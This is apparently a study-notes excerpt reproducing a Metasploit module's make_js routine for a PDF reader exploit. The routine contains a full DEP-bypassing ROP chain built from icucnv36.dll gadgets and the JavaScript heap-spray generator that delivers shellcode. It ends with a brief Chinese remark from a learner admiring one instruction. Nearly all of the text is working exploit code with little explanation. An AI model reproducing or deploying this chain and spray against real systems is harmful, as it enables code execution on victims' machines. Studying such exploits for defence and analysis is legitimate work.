183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
	def make_js(encoded_payload)

# The following executes a ret2lib using icucnv36.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0x41414141, # unused
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx

0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as

0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)

# -- call CreateFileA
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify

#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA)

# -- call CreateFileMappingA
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0xffffffff, # arguments to CreateFileMappingA, hFile
0x00000000, # lpAttributes
0x00000040, # flProtect
0x00000000, # dwMaximumSizeHigh
0x00010000, # dwMaximumSizeLow
0x00000000, # lpName

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile

# -- call MapViewOfFile
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0xffffffff, # args to MapViewOfFile - hFileMappingObject
0x00000022, # dwDesiredAccess
0x00000000, # dwFileOffsetHigh
0x00000000, # dwFileOffsetLow
0x00010000, # dwNumberOfBytesToMap

0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer

0x4a802196, # mov [ecx],eax / ret - save map base addr

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr

0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

0x4a801f90, # pop eax / ret
0x00000034, # becomes eax

0x4a80d585, # add eax,edx / ret

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy)

# -- call memcpy
0x4a80b692, # jmp [eax]

0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst)
0xffffffff, # becomes second arg to memcpy (src)
0x00001000, # becomes third arg to memcpy (length)
#0x0000258b, # ??
#0x4d4d4a8a, # ??
].pack('V*')

var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)

var_start = rand_text_alpha(rand(100) + 1)

var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)

payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

js
end

就是和上一步的调试的结果差不多,就是布置 shellcode,堆喷射之类的,and [esp+ebx*2],edi 感觉这个指令用的好6。大概就是这些了。